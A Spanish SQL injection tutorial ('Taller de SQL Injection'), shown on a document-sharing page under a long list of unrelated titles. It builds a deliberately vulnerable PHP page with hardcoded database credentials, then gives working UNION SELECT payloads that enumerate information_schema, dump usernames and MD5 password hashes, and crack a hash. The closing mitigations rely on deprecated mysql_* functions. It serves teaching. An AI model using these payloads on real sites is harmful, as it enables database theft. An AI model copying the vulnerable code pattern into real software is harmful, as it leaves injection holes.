TALLER DE SQL INJECTION



Documentos relacionados
- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos.

PHP Perfect SQL v1.0 (SQL perfectas en PHP)

Curso de PHP con MySQL Gratis

Que es PHP? Que se puede hacer con PHP? Sintaxis del lenguaje. Variables. Operadores básicos. Condicionales. Ciclos.

Curso PHP Módulo 1 R-Luis

CONSULTAS CON SQL. 3. Hacer clic sobre el botón Nuevo de la ventana de la base de datos. Aparecerá el siguiente cuadro de diálogo.

Aplicaciones seguras con ClaseSeguridad

TIPOS DE VARIABLES EN PHP. DECLARACIÓN Y ASIGNACIÓN. LA INSTRUCCIÓN ECHO PARA INSERTAR TEXTO O CÓDIGO. (CU00816B)

UNIDAD 1. LOS NÚMEROS ENTEROS.

DISEÑO WEB ADOBE DREAMWEAVER CS3

La plantilla propone aprovechar esta estructura en común y sólo modificar el contenido del área del documento que sea diferente.

Programa diseñado y creado por Art-Tronic Promotora Audiovisual, S.L.

CÓMO HACER MI PROPIO BLOG

SYMBALOO 1º.- QUÉ ES? 2º.-Darse de alta en Symbaloo

Microsoft Access 2013

Introducción a PostgreSQL con PHP

Configuración de DNS seguros

PLATAFORMA EDUCATIVA DE LA JCYL ENLACES A TUTORIALES DE INTERÉS:

SISTEMAS DE NUMERACIÓN.

Cómo resolver errores comunes a la hora de programar con PHP

M a n u a l Inventarios

Practica 9. Correo Varchar 30 Ninguna Puesto varchar 10 Ninguna Salario Int 10 Ninguna. Realizar lo siguiente.

MANUAL PARA GESTIÓN DE INCIDENCIAS INFORMÁTICAS

Instalación de DRIVER de mochila

Puesta en Marcha versión Monousuario

GENERAR DOCUMENTOS HTML USANDO LENGUAJE PHP. EJERCICIO RESUELTO EJEMPLO SENCILLO. (CU00733B)

5 razones por las que NO DEBERÍAS ABRIR UNA TIENDA ONLINE

Hacer una página web con Kompozer

Internet como herramientas de comunicación: El correo electrónico

UTILIZACIÓN DE UNA CUENTA DE CORREO ELECTRÓNICO (NUEVO) Acceso al correo electrónico

AGREGAR UN EQUIPO A UNA RED Y COMPARTIR ARCHIVOS CON WINDOWS 7

Plataforma e-ducativa Aragonesa. Manual de Administración. Bitácora

GUIA BUSQUEDA RAPIDA DE PRODUCTOS

Guía de uso del sistema CV-Online

Gimp - Segunda parte. En qué formatos puede grabar GIMP mi imagen? Guardar una imagen

MINI MANUAL PARA CREAR FORMULARIOS CON PHP Marzo 2007

GUIA PRÁCTICA PARA LA FIRMA DIGITAL DE UN PDF A PARTIR DE UN PDF CREADO POR TI.

LAS ESCALAS EN AUTOCAD.

Este es un ejemplo muy sencillo, un esquema de empleados que trabajan en proyectos, en una relación muchos a muchos.

Funcionamiento del sistema de autentificación en PHP

Manual Web Alexia Profesor. Índice

Configuración de un APs D-Link DWL-2100AP.-

RETO: Buscar información en Internet rápidamente utilizando adecuadamente los motores de búsqueda. Cómo busco información en Internet?

Tutorial de manejo de los portafolios de objetivonatural.com. Bienvenidos a Portafolios.objetivonatural.com

TUTORIAL PRÁCTICO COMPLETO DE BASE DE DATOS EN PHPMYADMIN Y GESTIÓN DESDE DREAMWEAVER

INSTALACION DEL Terminal Services. Instalamos el Terminal Services. Siguiente. Nos saldrá una advertencia, seleccionamos instalar.

Capítulo 0. Introducción.

Aprendamos Juntos. FreeMaker Video Converter

Divisibilidad y números primos

La elección de Blogger como la plataforma o lugar donde

Como Solicitar y configurar tu web de DXN. Por: Jorge Calvo

Acceder a correo de 1000tentaciones.com a través de web.

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection

Manual básico para poner un Enlace Web en el Aula Virtual de Helvia.

SEGUNDA SESIÓN escaparate gadgets.

Solución al Reto Hacking v2.0 de Informática 64

Acceder y administrar documentos en el servidor FTP por líneas de comandos

APLICACIONES INFORMÁTICAS de BASE de DATOS

Adaptación al NPGC. Introducción. NPGC.doc. Qué cambios hay en el NPGC? Telf.: Fax.:

vgestorweb vgestorweb 1/9

Documentos necesarios para obtener los datos que nos serán útiles en la búsqueda:

SQL Injection en SQL Server y función convert()

RETO HACKER DE VERANO

CREAR UNA CUENTA DE CORREO : GMAIL

Gobierno del Estado de México

Cómo convertir texto de Word en una tabla de datos en Excel (todas las versiones)

Cómo sabes si tus esfuerzos en Social Media te están dando resultados? Para eso hay que medir, y Google Analytics ha venido a ayudarnos.

Claves. Poderosas. para Crear Tu Sitio Web. Por: Frank Villafán. Todos los derechos reservados.

PDC Web 2.0. Manuales del usuario Abonos de Lotería

Manual de uso básico de la aplicación

1.- DESCRIPCIÓN Y UTILIDAD DEL SOFTWARE DAEMON TOOLS.

El podcast de PrestAyuda vende más y más rápido con Gert Mellak.

Mensario 2: Manual de importación

Tutorial DC++ Usarlo es muy sencillo y configurarlo también, aunque tiene algunos trucos importentes.

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Método para ganar dinero con YouTube y Clickbank sin tener que subir videos ni hacer comentarios

3º Grado Educación Infantil Bilingüe Números. Método Singapur y F. Bravo E R

Comercial Cartas de Fidelización

MANUAL DE AYUDA MODULO TALLAS Y COLORES

para jóvenes programadores

1º Crear nuestro blog en blogger

Apuntes de ACCESS. Apuntes de Access. Campos de Búsqueda:

Herramientas CONTENIDOS. MiAulario

Copyright 2015 Pepa Cobos. Todos los derechos reservados.

Tutorial II: Vamos a hacer una presentación con OpenOffice.

Esta extensión está obsoleta a partir de PHP 5.5.0, y será eliminada en el futuro

LAS CONSULTAS ACCESS Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

Plantilla de texto plano

AGREGAR COMPONENTES ADICIONALES DE WINDOWS

Unidad Didáctica. Códigos Binarios

Pero lo que más le gusta a Lea es leer, lo hace en todos los sitios, siempre lleva un bolsito colgado con un libro de cuentos, o de animales.

UN PROBLEMA DE MATEMÁTICA-FICCIÓN EN TRES ACTOS. José Antonio Mora Sánchez. CEP d'alacant

OFICINA VIRTUAL SAE Minitutorial

La única guía que realmente funciona (Elaborada en 24 de julio del 2014) (actualizado marzo 2015). Paso 1: El Paso rápido y simple

Manual CMS Mobincube

Transcripción:

TALLER DE SQL INJECTION EDYTED BY 4TF3 Definición de Injectiòn SQL Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos. El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro. Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado. Para este manual e creado dos paginas 1 : sqli.html Que contiene este codigo fuente. <!DOCTYPE HTML> <html> <head> <title> Sqli </title> </head> <body> <header> <h1> <font color = "red"> Taller sql Injection </font> </h1> </header> <p> <a href = "sqli.php?id=1"> Enlace </a> </p> </body> </html> 2 : sqli.php Con este codigo fuente.

<!DOCTYPE HTML> <html> <head> <title> Sqli </title> </head> <body> <header> <h1> <font color = "red"> Taller sql Injection </font> </h1> </header> <?php if(isset($_get["id"])){ $id = $_GET["id"]; $con = mysql_connect("localhost","jose","4tf3"); mysql_select_db("web",$con); $select = "SELECT * FROM sqli WHERE id=".$id; $query = mysql_query($select,$con); $columna = mysql_fetch_array($query); echo "<h2> <font color = 'blue'> Bienvenid@ </font> </h2>"; echo "Hola : <font color = 'green'> ".$columna[3]."</font> <br>"; echo "Eres : <font color = 'green'> ".$columna[4]."</font> <br>"; } else{ header("location: sqli.html"); } mysql_close($con);?> </body> </html> La primera pagina se me presenta asi.

Una vez pinchado en el enlace, nos encontramos con la siguiente pagina Para ver si es o no es vulnerable, intoducire una ' comilla simple. Para forzar un error en la consulta y ver como se comporta. Una vez introducida la ' nos muestra este error. Como vemos es vulnerable. Ahora quitando la comilla, procedere a ordenar las columnas SACANDO LAS COLUMNAS Con la clausula ORDER+BY Con esta clausula forzaremos la ordenacion de los resultados Hay que ir en ascenso asi, los dos guiones al final Son para iniciar un comentario http://localhost/sqli.php?id=1+order+by+1--

http://localhost/sqli.php?id=1+order+by+2-- En mi caso e llegado hasta http://localhost/sqli.php?id=1+order+by+6-- El cual me a tirado un error veamos Por que a tirado ese error, porque no puede ordenar una columna que no existe, con lo que deducimos que tiene 5 columnas UNIENDO CONSULTAS Con la clausula UNION SELECT Vamos haber si tiene 5 columnas Antes de empezar a injectar debemos de poner un valor negativo despues del id En este caso -1 para que la consulta original no retorne ningun resultado y solo veamos La consulta que estamos realizando veamos. Debemos de seguir uniendo consultas +union+select+1,2-- +union+select+1,2,3-- Hasta que desaparezca el error y nos muestre los numeros de las columnas vulnerabes Yo e llegado hasta 5 como era de preveer

En este caso en los numeros 4 y 5 podemos enpezar a sacar datos como: user() version() database() @@datadir SACANDO LAS TABLAS Llegados hasta aquí veamos como sacar las tablas information_schema.tables Contiene gran informacion sobre las tablas que tiene la base de datos information_schema.columns Lo mismo que con las tablas solo que con las columnas En este caso el numero 4 me biene muy bien, hay pondre table_name para el nombre de las tablas. Y despues del 5 +from+information_schema.tables-- veamos Y ya nos muestra la primera tabla de information_schema.tables BUSCANDO UNA TABLA DE INTERES Lo haremos con la instrucción +LIMIT+1,1--, +LIMIT+2,1--

En ascenso hasta encontrar una tabla interesante La instrucción +LIMIT+1,1-- Le estamos diciendo que nos muestre la primera columna y el primer registro. En mi caso la tabla se llama sqli, y e llegado hasta el limit 153 Una vez conseguido el nombre de la tabla, debemos cambiar su valor de string ascii. Lo podemos hacer en esta web : http://easycalculation.com/ascii-hex.php Debemos de anotar el equivalente a decimal : 115,113,108,105 y separarlos con las comillas SACANDO COLUMNAS DE LA TABLA SQLI Como queremos sacar las columnas deberemos de reemplazar table_name por group_concat(column_name) que viene a ser concatenar un grupo de columnas y el nombre de la columna. Y information_schema.tables por information_schema.columns debido a que queremos sacar las columnas. Ejemplo localhost/sqli.php?id=- 1+union+select+1,2,3,group_concat(column_name),5+from+information_schema.columns Al final de esta consulta debemos concatenar +where+table_name=char(115,113,108,105)--

La consulta entera quedaria asi : localhost/sqli.php?id=- 1+union+select+1,2,3,group_concat(column_name),5+from+information_schema.columns+where+table_ name=char(115,113,108,105)-- Y obtengo este resultado Ahora veamos como sacar el user y pass Hay que modificar el group_concat por concat y (column_name) por el dato que se quiera obtener. En este caso el user y pass. Ejemplo : concat(user,0x3a,pass) el 0x3a lo que hace es poner 2 puntos, para poder distinguir un dato de otro. Y al final de la consulta +from+sqli-- from = todo de la tabla sqli. Consulta entera: localhost/sqli.php?id=-1+union+select+1,2,3,concat(user,0x3a,pass),5+from+sqli Resultado Ya vemos como el user se llama jose Y la pass 21232f297a57a5a743894a0e4a801fc3 que contiene 32 caracteres Hexadecimales Que es un hash em MD5

Realizando una busqueda en google veamos si obtenemos el valor de este hash Vemos el resultado admin FILTRANDO LA VARIABLE Observando el codigo fuente, en especial en esta parte $id = $_GET["id"]; Se ve que esta variable esta sin filtrar, como el valor que pasa es un entero en este caso 1 Podemos convertir esta variable a un entero, pero antes veamos de que tipo es Lo unico que e hecho es un gettype($id) que nos dira que tipo de variable es. Como se puede ver es de tipo string o cadena de caracteres Ahora esta variable es de tipo entero $id = (int)$_get["id"];

Podemos probar a introducir consultas como: ' o +and+1=1 o +and+1=0 Y no nos mostrara el error En este parte del codigo. $select = "SELECT * FROM sqli WHERE id=".$id; Podriamos utilizar mysql_real_escape_string que lo que hace es escapar caracteres anteponiendo una \ contrabarra $select = "SELECT * FROM sqli WHERE id='".mysql_real_escape_string($id)."'"; Ahora introduzco una comilla simple y haber como se comporta Se puede observar como antepone la contrabarra DESACTIVAR LOS MENSAJES DE ERROR EN PHP Los mensajes de error te facilitan mucho cuando estas codeando Pero se suele o se olvida dejar activo por defecto, Y en este caso es de gran ayuda según para quien y una desventaja para otros Para desactivarlo en el archivo php.ini debemos de buscar display_errors Y dejarlo en Off Ojo todo lo aquí expuesto no es ni mucho menos la solucion definitiva. En esta vida no hay nada seguro, pero son esos pequeños obstaculos que vas añadiendo que hacen que te sientas un poco mas seguro.

POSTDATA A todo aquel que lea este manual espero que le guste, y con que solo a una persona le pueda servir, me siento mas que satisfecho. La informacion que no se comparte se pierde Un saludo 4tf3